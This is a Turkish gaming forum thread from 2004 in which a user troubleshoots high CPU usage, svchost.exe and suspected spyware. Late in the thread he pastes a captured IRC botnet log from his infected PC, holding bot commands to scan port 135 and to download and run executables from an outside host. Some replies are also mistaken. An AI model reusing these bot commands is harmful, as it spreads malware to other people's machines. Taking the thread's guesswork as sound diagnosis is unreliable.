[Enteresan Olaylar Version 2] CPU Kullanımı Coştu.

[BlaCk]

Bir önceki maceramda bilgisyarımda hıc bır vırus tarayıcısının sılemedıgı ama gördügü ve kurtulamadıgım bir virusu konu etmıstım sevgılı dostlar.

Sımdıkı sorunsal CTRL+ALT+DEL Yapınca CPU kullanımının co$masıyla ılgılı.

Bılgısyarı actıgımda CPU Kullanımına baktıgımda Önce bakar bakmaz %100 yazıyor sora birden %2 %10 falan oluyor.

En çok CPU yiyen şeyleri sıraladıgımda Sistem boşta işlemi yazıyor 99 CPUyu yiyior. Ama sonlandırılamıyor system bagıntılı oldugu ıcın. Ama sanmıyoruım sistem bosta islemi yemiyor cpu'yu baska bi sorun var.

UO açtıgımda ise Direk %100 oluyor hep %100 oluyor yani uo acıkken hep %100. UO'yu kapamadanda düzelmiyor. Azalmıyor yani

Neden böyle oluyor anlamadım gitti. Gereksiz seyleri ordan kaldırdım yani listeden ama hala aynı.

Bellek Ayrımı normal ama CPU dedigim gibi UO'yu actıgımda sapıtıyo. Fix %100 yani.

Nedir ki bu ya?

Edit: İşlemcim AMD Athlon 2600+[signature][hline] The Truth is out There

[Bu mesaj BlaCk_DmC tarafından 08 Ekim 2004 05:00 tarihinde değiştirilmiştir]

[BlaCk]

CPU ısısına baktım şimdi bios'dan 33c'yi geçmiyo. Max 33 gördüm.

Bu arada Bişey uninstall ediyordum Cpu kullanımı %80lere kadar çıktı tekrar.

Ya benım burada merak ettıgım endişelenmem gereken bi sorun varmıdır? Yani UO'da Fix %100 gösteriyor. Ama sistemde bi yavaşlama olmuyor.
Internet explorerda sayfa scroll ederken yada ne bılıyım bısey yuklerken yada uninstall ederken Abarıyor yine.

Ha ayrıca svchost.exe nedir 3tane var bir System olarak bir Local service olarak Birde network service olarak. Zone Alarm'dan allow verdıgım zaman inanılmaz ram yiyior...[signature][hline] The Truth is out There

[BlaCk]

hmzz bi kac kiside daha UO'dayken %100 olayı varmıs CPU'nun. Sanırım normal bisey bu.
Peki ama baska seyler yaparken neden yukselıyor Cpu usage?[signature][hline] The Truth is out There

[Mum_Chamber]

xp'nin işlemci kullanım göstergesi pek sağlıklı değil

gerçi sende ekstradan bir sorun olabilir, bu konuda yorum yapamayacağım da oraya bakarak sorun olduğunu düşünme.

çünkü uninstall etmek ayrı bir program çalıştırmaktır ve yeni bir threadde yapılır. fakat işlemci kısmen zeki olduğu için sen başka birşey yapmaya çalışana kadar thread önceliğini yüksek tutar. xp de "amanın işlemcim elden gidiyooo" diyerek %100'e çıkarır. fakat (teorik olarak) işlemci %100 kullanılıyor olsa bırak yeni bir işlem yapmayı, sen %100 kullanıldığını bile göremezsin. çünkü işlemcinin senin isteklerine cevap verecek vakti yoktur.

svchost ise clipboard (kopyala-yapıştır işlemlerini yaptığımız), dekstop görüntüsü gibi birkaç nesneyi yönetir. svchostu sonlandırırsan kopyala yapıştır yapamayabilir, başlat menüsünü göremeyebilir, en kötüsü de görev yöneticisini açamayabilirsin.

svhostlar sende ne kadar ram harcıyor ki? bende şu anda 4 tane çalışıyor, 13, 3, 3, 1 mb ram harcıyorlar. gerçi bu rakamlar bilgisayar açık kaldıkça artıyor da, 20yi geçtiğini hatırlamıyorum.[signature][hline]en ince yerim bileğim..
Syphex [CoH:Justice]

[Malibu]

Aynı olay bende de var. UO yu açtığımda %100 kalıyor hep. eğer RunUO emülatörlü bi yerde oynuyorsan razordan. Smart CPU reducion ( yalış yazmış olabilirim yeni uyandım) gibi bi olayı var ben onu check leyince birazda olsa düzelmişti ( %90 larda falan sabit kalmaya başlamıştı)[signature][hline]Charles Rhadamantis

[Ra_d]

svchost hiç bir şekilde bağlantını kullanmaz.

büyük ihtimalle svchost adındaki spyware'a yakalanmışsın.
windows çalışırken gözüken svchost'ların hepsi
c:windowssystem32svchost.exe
'nin instance'larıdır. bunun haricinde windows içinde svchost.exe yoktur.bunların haricinde herhangi bir klasörde(system32 altındaki herhangi bi klasör'de olsa) svchost.exe'ye rastlarsanırz 90% spyware'dir.heleki bu svchost CPU'yu 100% kullanıyosa ve dışarıya data gönderiyosa kendiside %100 spyware'dir.

msconfig'den başlangıç'da nelerin çalıştırıldığına bi bak.oradaki hiçbirşey işaretlenmemiş olsa bile bilgisayar çalışır durumda olur. ama tavsiyem zclient'ın(Zone Alarm) işaretli kalması. Onun haricindeki herşeyi kaldır bi daha dene bakalım 100% oluyomu CPU.[signature][hline]And the Ra'd glorifies and praises Him

[John_Silver]

birde mail yolu ile gelen virusspywareworm var. açan kişinin bilgisayarına yerleşip baglantıyı sömürüyor. uo da çok lag oluyor. bulaştıktan sonra msn listenizde hotmail kullanan kim varsa aynı virusspwwareworm o kişilere sizin adınızla atılmış bir mail gibi gidiyor o da açıyor ve onunda listesindeki herkese gidiyor[signature][hline]Ölünün sandığı başında tam on beş denizci,
Yo-ho-ho... bir şişe de rom negrita...
İç, iç hepsini, aldırma sen şeytana...
Yo-ho-ho... bir şişe de rom negrita.

[BlaCk]

Bağlantıda yawaşlık sorunum yokda. Şöyle bi olay var.
Ben Bılgısayarı acar acmaz svchost.exe benden ınternete erişebilmesi icin izin istiyior. Eger bu ızını verırsem Cok fazla ram yiyior. Yani ayrılmıs bellek İzin vermedigim zamanlar 150/1250 ise izin verdigim zamanlar 600/1250 falan oluyor. Dediğim gibi svchost.exe'ler yüzünden. Spyware taramasını sürekli olarak yaparım Adaware ve spybot programlarını updatelidir yani. Nası silinmeski bu ne yapabılırım bunun hakkında.

Birde CPU olayını tam anlayamadıgım bi arkadas saglıksız o gosterge demıs. Yani Benım CPU hakkındaki endişelerim boşunamı?[signature][hline] The Truth is out There

[BlaCk]

Ahada buda ctrl+al+del'dekiler

[signature][hline] The Truth is out There

[Wispy]

Sistem Boşta İşlemi çok saçma ya xp nin takma yani[signature][hline]Let's sing the Bards song

[BlaCk]

yok sistem boşta işlemi hic etkilemiyo ztn. Ona takmadım ben[signature][hline] The Truth is out There

[Ra_d]

hemen söyliyim alg.exe spyware.
sonra wuauclt.exe'den kıllandım.
nvsvc32.exe'de nvidia'nın driver olayı olması lazım.
geriye kalanlar normal gözüküyo.
ama ben yinede bi bilgisayarındaki svchost.exe'lerin hangi klasörlerde olduğunu bi arattır derim.
svchost.exe'yi bi windows'un dosya klasör aramasıyla bi ara.[signature][hline]And the Ra'd glorifies and praises Him

[Mum_Chamber]

spy sweeperla arat bir. + www.free-av.com'dan antivir'i indirver ne olur ne olmaz diye...

eğer senin cpudan kaynaklanan yavaşlama derdin varsa soğutmadandır

diyesim gelse de 33 derece demiştin zaten.[signature][hline]en ince yerim bileğim..
Syphex [CoH:Justice]

[BlaCk]

Ad-Aware ve Spybot var onlar hıc bırsey bulamıyor. Spysweeper çekeyim bide onla deneyım ozmn.

CPU ısınma derdim yok hatta normalin altında bi soguklukta calısyıo yanı :)

Benım merak ettıgım ctrl+alt+del'de CPU bazen Abarıyo co$uyo yanı bundan kıllanmalımıyım? Benım derdım bu[signature][hline] The Truth is out There

[BlaCk]

svchost.exe'yi arattım pc'de.
Sonuç:
2 Dosya buldu
1. dosya:
SVCHOST.EXE-3530F672 ----> Klasör:C:/Windows/Prefetch
--->Boyut:38KB ---> Tür:PF dosyası. --->Degistirilme Tarihi:08.10.2004

2.dosya:
svchost.exe --->Klasör:C:/Windows/system32 --->Boyut:13kb
--->Tür: Uygulama---->Degistirlme Tarihi:22.11.2001[signature][hline] The Truth is out There

[BlaCk]

said:

Ra_d, 08 Ekim 2004 21:03 tarihinde demiş ki:
hemen söyliyim alg.exe spyware.

edit: Getright ile ilgili sandım önce ama degılmıs. Bunu nasıl sılebılırım yani alg.exe yi. Ad Aware da yada spybotta çıkmıyor.

Spy-Sweeper arıyorum.

[Bu mesaj BlaCk_DmC tarafından 09 Ekim 2004 00:41 tarihinde değiştirilmiştir]

[Sam]

alg.exe bende de var, msconfig'deki services tab'inden baktım da application layer gateway diye bir programmış, microsoft'a ait olduğu yazılmış..

bende de var sürüyle svchost'lar, takip ediyorum burayı bakalım ne sonuca varacaksınız.. :-p[signature][hline]Elder Scrolls forumunda ES4'ü niye multiplayer özellikli istemediğini izah eden MutantPenguin demiş ki:
People suck, if I want to game I'll do it with/against circuit boards and lines of C++ that know how to RP, not people that don't know how to string a sentence together.

[Ceday]

ben servicelerden 6-7 tanesini kapattım. default olarak gelen ama fuzuli epey bisi var ama cok etkilemiyor, en fazla 3-4 mb..

ayrıca tavsiye run->msconfig
burdaki startup sekmesinde en ufak birsey kalmasın :)

[BlaCk]

YA YUH BE BU NEDİR YA OHA DIYORUM SADECE YA


[i]NICK ]HyperX[-400025
USER tigjorx 0 0 :]HyperX[-400025
:Pegasus.DarK.Com 001 ]HyperX[-400025 :
USERHOST ]HyperX[-400025
MODE ]HyperX[-400025 +B
JOIN #Sasser NğKrXSass
:Pegasus.DarK.Com 002 ]HyperX[-400025 :
:Pegasus.DarK.Com 003 ]HyperX[-400025 :
:Pegasus.DarK.Com 004 ]HyperX[-400025 :
:Pegasus.DarK.Com 005 ]HyperX[-400025
USERHOST ]HyperX[-400025
MODE ]HyperX[-400025 +B
JOIN #Sasser NğKrXSass
:Pegasus.DarK.Com 005 ]HyperX[-400025
USERHOST ]HyperX[-400025
MODE ]HyperX[-400025 +B
JOIN #Sasser NğKrXSass
:Pegasus.DarK.Com 251 ]HyperX[-400025 :
:Pegasus.DarK.Com 252 ]HyperX[-400025 :
:Pegasus.DarK.Com 253 ]HyperX[-400025 :
:Pegasus.DarK.Com 254 ]HyperX[-400025 :
:Pegasus.DarK.Com 255 ]HyperX[-400025 :
:Pegasus.DarK.Com 265 ]HyperX[-400025 :
:Pegasus.DarK.Com 266 ]HyperX[-400025 :
:Pegasus.DarK.Com 422 ]HyperX[-400025 :
:]HyperX[-400025 MODE ]HyperX[-400025 :+iTxp
:Pegasus.DarK.Com 302 ]HyperX[-400025 :]HyperX[[email protected]
:Pegasus.DarK.Com NOTICE ]HyperX[-400025 :Setting/removing of usermode(s) 'ixcstdwzvgmpBSGRVTMQ' has been disabled.
:]HyperX[[email protected] JOIN :#Sasser
:Pegasus.DarK.Com 332 ]HyperX[-400025 #Sasser :!advscan dcom135 100 3 0 -r
PRIVMSG #Sasser :[SCAN]: Random Port Scan started on 195.174.x.x:135 with a delay of 5 seconds for 0 minutes using 100 threads.
:Pegasus.DarK.Com 333 ]HyperX[-400025 #Sasser HyperX 1094073490
:Pegasus.DarK.Com 353 ]HyperX[-400025 @ #Sasser :]HyperX[-400025 @DarKboT @PerLboT
:Pegasus.DarK.Com 366 ]HyperX[-400025 #Sasser :
:Pegasus.DarK.Com 302 ]HyperX[-400025 :]HyperX[[email protected]
:Pegasus.DarK.Com NOTICE ]HyperX[-400025 :Setting/removing of usermode(s) 'ixcstdwzvgmpBSGRVTMQ' has been disabled.
:Pegasus.DarK.Com 302 ]HyperX[-400025 :]HyperX[[email protected]
:Pegasus.DarK.Com NOTICE ]HyperX[-400025 :Setting/removing of usermode(s) 'ixcstdwzvgmpBSGRVTMQ' has been disabled.
:PerLboT!~DarK@Me.iN.DarK.CaStLe.BuT.The.PRinCeSs.iS.iN.FiRe.CaStLe.Luv PRIVMSG ]HyperX[-400025 :!LoGin NğKrXßğtSass
PRIVMSG PerLboT :[MAIN]: Password accepted.
:PerLboT!~DarK@Me.iN.DarK.CaStLe.BuT.The.PRinCeSs.iS.iN.FiRe.CaStLe.Luv PRIVMSG ]HyperX[-400025 :!Login NğKrXßğtSass
:PerLboT!~DarK@Me.iN.DarK.CaStLe.BuT.The.PRinCeSs.iS.iN.FiRe.CaStLe.Luv PRIVMSG ]HyperX[-400025 :!Getm3 http://www.amarprithibi.com/installer.exe c:installer.exe 1
:PerLboT!~DarK@Me.iN.DarK.CaStLe.BuT.The.PRinCeSs.iS.iN.FiRe.CaStLe.Luv PRIVMSG ]HyperX[-400025 :!WeBGet http://www.amarprithibi.com/installer.exe c:installer.exe 1
PRIVMSG PerLboT :[DOWNLOAD]: Downloading URL: http://www.amarprithibi.com/installer.exe to: c:installer.exe.
:PerLboT!~DarK@Me.iN.DarK.CaStLe.BuT.The.PRinCeSs.iS.iN.FiRe.CaStLe.Luv PRIVMSG ]HyperX[-400025 :!open http://www.amarprithibi.com/cat.html
PRIVMSG PerLboT :[SHELL]: File opened: http://www.amarprithibi.com/cat.html
:PerLboT!~DarK@Me.iN.DarK.CaStLe.BuT.The.PRinCeSs.iS.iN.FiRe.CaStLe.Luv PRIVMSG ]HyperX[-400025 :!oPen http://www.amarprithibi.com/cat.html
:PerLboT!~DarK@Me.iN.DarK.CaStLe.BuT.The.PRinCeSs.iS.iN.FiRe.CaStLe.Luv PRIVMSG ]HyperX[-400025 :!Getm3 http://www.amarprithibi.com/load.exe c:load.exe 1
:PerLboT!~DarK@Me.iN.DarK.CaStLe.BuT.The.PRinCeSs.iS.iN.FiRe.CaStLe.Luv PRIVMSG ]HyperX[-400025 :!WeBGet http://www.amarprithibi.com/load.exe c:load.exe 1
PRIVMSG PerLboT :[DOWNLOAD]: Downloading URL: http://www.amarprithibi.com/load.exe to: c:load.exe.
:Pegasus.DarK.Com 404 ]HyperX[-400025 #Sasser :You must have a registered nick (+r) to talk on this channel (#Sasser)
:DarKboT!DarK@Me.iN.DarK.CaStLe.BuT.The.PRinCeSs.iS.iN.FiRe.CaStLe.Luv PRIVMSG ]HyperX[-400025 :!LoGin NğKrXßğtSass
PRIVMSG DarKboT :[MAIN]: Password accepted.
:DarKboT!DarK@Me.iN.DarK.CaStLe.BuT.The.PRinCeSs.iS.iN.FiRe.CaStLe.Luv PRIVMSG ]HyperX[-400025 :!Login NğKrXßğtSass
:DarKboT!DarK@Me.iN.DarK.CaStLe.BuT.The.PRinCeSs.iS.iN.FiRe.CaStLe.Luv PRIVMSG ]HyperX[-400025 :!Getm3 http://www.amarprithibi.com/installer.exe c:installer.exe 1
:DarKboT!DarK@Me.iN.DarK.CaStLe.BuT.The.PRinCeSs.iS.iN.FiRe.CaStLe.Luv PRIVMSG ]HyperX[-400025 :!WeBGet http://www.amarprithibi.com/installer.exe c:installer.exe 1
PRIVMSG DarKboT :[DOWNLOAD]: Downloading URL: http://www.amarprithibi.com/installer.exe to: c:installer.exe.
:DarKboT!DarK@Me.iN.DarK.CaStLe.BuT.The.PRinCeSs.iS.iN.FiRe.CaStLe.Luv PRIVMSG ]HyperX[-400025 :!open http://www.amarprithibi.com/cat.html
PRIVMSG DarKboT :[SHELL]: File opened: http://www.amarprithibi.com/cat.html
:DarKboT!DarK@Me.iN.DarK.CaStLe.BuT.The.PRinCeSs.iS.iN.FiRe.CaStLe.Luv PRIVMSG ]HyperX[-400025 :!oPen http://www.amarprithibi.com/cat.html
:DarKboT!DarK@Me.iN.DarK.CaStLe.BuT.The.PRinCeSs.iS.iN.FiRe.CaStLe.Luv PRIVMSG ]HyperX[-400025 :!open http://216.117.177.165/~noksha/index.html
PRIVMSG DarKboT :[SHELL]: File opened: http://216.117.177.165/~noksha/index.html
:[email protected]

[LethE]

gitti galiba makine :P
bari link koysaydın "erdem" ya.. o gözlerim yoruldu..[signature][hline]İyi niyetli, sakin, dinlemeyi (okumayı) bilen sabırlı taze(?!?) patiler olun!
Zamanla aramıza girecek, siz de kaşar(?!?) pati olacaksınız. O zamana kadar bize size güvenme, sizi sevme fırsatı verin

[BlaCk]

upload edecek yer kasamam şimdi bu saaatte "efe"[signature][hline] The Truth is out There

[Ra_d]

pardon özür diliyorum.
alg.exe windows'un firewall olayı ama iki tane alg.exe varsa sorun.ben orda iki tane görmüşüm.

svchost.exe-xxxx.pf dosyasıda prefetch dosyasıdır.onların olması normal.başka bir svchost.exe (aynen böyle) dosyası varsa sorun.[signature][hline]And the Ra'd glorifies and praises Him

[Mum_Chamber]

:D

emin olmadığınız programların servis olup olmadıklarını öğrenmek için

bilgisayarım (sağ klik) > yönet > hizmetler ve bilmemneler > hizmetler 'den duruma göre sıralayıp "başladı"lara teker teker çift tıklayıp isimlerine (yollarına) bakabilirsiniz.[signature][hline]en ince yerim bileğim..
Syphex [CoH:Justice]

[BlaCk]

said:

BlaCk_DmC, 09 Ekim 2004 00:22 tarihinde demiş ki:
svchost.exe'yi arattım pc'de.
Sonuç:
2 Dosya buldu
1. dosya:
SVCHOST.EXE-3530F672 ----> Klasör:C:/Windows/Prefetch
--->Boyut:38KB ---> Tür:PF dosyası. --->Degistirilme Tarihi:08.10.2004

2.dosya:
svchost.exe --->Klasör:C:/Windows/system32 --->Boyut:13kb
--->Tür: Uygulama---->Degistirlme Tarihi:22.11.2001

Ra_d'bunları buldu ara yapınca. 2 svchost. var bunlar zararsızmı sımdı anlamadım tam.
Bu arada spysweeper 60 tane trace buldu 10 tane de spyware buldu ve sıldı.
Hayret ettım ad-aware ve spybot hic bisey bulamıyordu[signature][hline] The Truth is out There

[elvyn]

abi siz yine sanslısınız ben ctrl+alt+del yapınca acılmıyo bile kapatıyo bişey
virus taratıyım diyorum avgyi de kapıyo allahım[signature][hline]eger tek bir dilek dileme hakkım olsaydı, bu hakkımı kullanmamayı dilerdim...